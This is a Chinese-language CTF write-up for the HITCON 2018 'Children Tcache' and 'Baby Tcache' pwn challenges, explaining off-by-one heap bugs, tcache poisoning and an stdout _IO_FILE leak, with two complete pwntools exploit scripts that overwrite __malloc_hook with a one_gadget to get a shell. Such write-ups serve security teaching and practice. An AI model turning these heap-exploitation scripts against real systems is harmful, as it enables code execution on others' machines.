CTF Re&&Pwn

HITCON2018_Tcache

2018-10-22  本文已影响15人  Kirin_say

0x01 ChildrenTcache

程序过程很简单
三个功能:add,delete,view
在add函数中:

unsigned __int64 add()
{
  signed int i; // [rsp+Ch] [rbp-2034h]
  char *dest; // [rsp+10h] [rbp-2030h]
  unsigned __int64 size; // [rsp+18h] [rbp-2028h]
  char s; // [rsp+20h] [rbp-2020h]
  unsigned __int64 v5; // [rsp+2038h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(&s, 0, 0x2010uLL);
  for ( i = 0; ; ++i )
  {
    if ( i > 9 )
    {
      puts(":(");
      return __readfsqword(0x28u) ^ v5;
    }
    if ( !note_list[i] )
      break;
  }
  printf("Size:");
  size = get_num();
  if ( size > 0x2000 )
    exit(-2);
  dest = (char *)malloc(size);
  if ( !dest )
    exit(-1);
  printf("Data:");
  sub_BC8((__int64)&s, size);
  strcpy(dest, &s);
  note_list[i] = dest;
  size_list[i] = size;
  return __readfsqword(0x28u) ^ v5;
}

存在off-by-one

sub_BC8((__int64)&s, size);
strcpy(dest, &s);

思路:

申请两个chunk进入unsort bin
覆盖掉后一个chunk的prev_in_use位与前一个合并
我们预先在两个chunk之间写入一个note
这样当合并后我们就可以再分配一个note到同样位置
并且在分配前此note会因为unsort bin分割chunk的时候写入main-area的附近特定地址
我们view便可leak libc
因为分配后两个note在同样位置
便可造成tcache dup(类似double free)
而后利用tcache poisoning,将chunk分配到malloc  hook或free hook前,覆盖其为one_gadget即可get shell

这里注意一下:

delete时,会:memset((void *)note_list[v1], 0xDA, size_list[v1]);
我们需要连续申请和delete多次来清理0xda(详见EXP)
tcache中chunk的fd指向的直接是chunk中的data地址,而不是prev_size
tcache分配chunk时直接通过fd分配,不对fd地址chunk的size进行检查,在分配chunk到malloc hook或free hook前时不需要绕过检测

EXP:

from pwn import *

def add(size,note):
   p.recvuntil(": ")
   p.sendline("1")
   p.recvuntil(":")
   p.sendline(str(size))
   p.recvuntil(":")
   p.send(note)

def delete(index):
   p.recvuntil(": ")
   p.sendline("3")
   p.recvuntil(":")
   p.sendline(str(index))

def view(index):
   p.recvuntil(": ")
   p.sendline("2")
   p.recvuntil(":")
   p.sendline(str(index))
    
#context.log_level='debug'
#0x400->tcache
#0x500->unsortbin
p = process('./children_tcache',env = {'LD_PRELOAD': './libc.so.6'})
add(0x500,'kirin\n')
add(0x28,'kirin\n')
add(0x4f0,'kirin\n')
add(0x20,'kirin\n')
delete(1)
delete(0)

#overwrite the pre_chunk_in_use and pre_size
add(0x28,'a'*0x28)
delete(0)
#clean pre_size
for i in range(8):
   add(0x28-i-1,'a'*(0x28-i-1))
   delete(0)
add(0x28,'a'*0x20+p64(0x540))

#unsortbin  
#the mix of two chunks
delete(2)

#leak libc
add(0x500,'kirin\n')
view(0)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x60-0x3ebc40
malloc_hook=libc_base+0x3ebc30
one_gadget=libc_base+0x10a38c

#double free
add(0x28,'kirin\n')
delete(0)
delete(2)

#overwrite the malloc_hook
add(0x28,p64(malloc_hook))
add(0x28,'kirin\n')
add(0x28,p64(one_gadget))

#get shell
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(":")
p.sendline("1")
p.interactive()

0x02 BabyTcache

程序过程和ChildrenTcache类似
在add中:

  read_date((__int64)a1, size);
  a1[size] = 0;                                 // off by one
  note_list[i] = a1;
  v0 = size_list;
  size_list[i] = size;

同样存在off-by-one
不过缺少了view
这里关键是在不能像ChildrenTcache一样leak libc

赛后想起ctf-wiki上介绍的:

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/exploit-in-libc2.24/

思路:

前面依然是ChildrenTcache的思路:
申请两个chunk进入unsort bin
覆盖掉后一个chunk的prev_in_use位与前一个合并
我们预先在两个chunk之间写入一个note并delete使其进入tcache
这样当合并后我们就可以再分配一个note到同样位置
并且在分配前此note会因为unsort bin分割chunk的时候写入main-area的附近特定地址
这时候 *(struct _IO_FILE_plus *) stdout的地址与现在此note上fd高字节相同,只是后三个字节不同,不过后三字节通过stdout相对libc文件的偏移即可得到:

pwndbg> p & *(struct _IO_FILE_plus *) stdout
$1 = (struct _IO_FILE_plus *) 0x7fa6148ea760 <_IO_2_1_stdout_>

add一个和tcache中note大小不同的chunk覆盖低字节使fd指向stdout
之前此note已经进入tcache,fd指向stdout
便可以利用tcache分配一个chunk到stdout处
我们覆盖掉IO_FILE结构体_IO_write_base的低字节
使其在下次puts时输出我们修改后的_IO_write_base到_IO_write_ptr/_IO_write_end的数据
以此leak libc后
而后类似ChildrenTcache,利用tcache dup,将chunk分配到malloc  hook或free hook前,覆盖其为one_gadget即可get shell

这里注意:

我们可以通过偏移获得stdout后三位地址,不过因为覆盖时只能按字节覆盖,倒数第四位需要爆破一下,1/16的几率成功

覆盖地址时发现IO_FILE的flags需要满足:
flags&0x1000==1
应该是我们利用了_IO_write_base,如果需要输出_IO_write_base到_IO_write_ptr/_IO_write_end的数据需要绕过检测
具体等过些时间研究一下源码

EXP:

from pwn import *

def add(size,note):
   p.recvuntil(": ")
   p.sendline("1")
   p.recvuntil(":")
   p.sendline(str(size))
   p.recvuntil(":")
   p.send(note)

def delete(index):
   p.recvuntil(": ")
   p.sendline("2")
   p.recvuntil(":")
   p.sendline(str(index))

for i in range(0x20):
#context.log_level='debug'
  p=process("./baby_tcache",env = {'LD_PRELOAD': './libc.so.6'})
  add(0x500,'kirin\n')
  add(0x68,'kirin\n')
  add(0x4f0,'kirin\n')
  add(0x20,'kirin\n')
  delete(1)
  delete(0)

  #overwrite the pre_chunk_in_use and pre_size
  add(0x68,'a'*0x68)
  delete(0)
  #clean pre_size
  for i in range(8):
     add(0x68-i-1,'a'*(0x68-i-1))
     delete(0)
  add(0x68,'a'*0x60+p64(0x580))
  delete(2)
  delete(0)
  add(0x500,'kirin\n')
  
  #overwrite the low byte of fd
  add(0x78,'\x60\x67')
  #gdb.attach(p)
  add(0x68,'kirin\n')
  try:
    #overwrite the _IO_write_base
    #leak libc
    add(0x60,p64(0xfbad1887) + p64(0)*3 + "\x00")
    s=p.recv(32)[8:16]
    libc_base = u64(s)-0x3ed8b0
    malloc_hook=libc_base+0x3ebc30
    one_gadget=libc_base+0x10a38c
    delete(1)
    delete(2)

    #overwrite the malloc_hook
    add(0x78,p64(malloc_hook))
    add(0x78,'kirin\n')
    add(0x78,p64(one_gadget))

    #get shell
    p.recvuntil(": ")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline('1')
    p.interactive()
  except:
    p.close()

上一篇 下一篇

猜你喜欢

热点阅读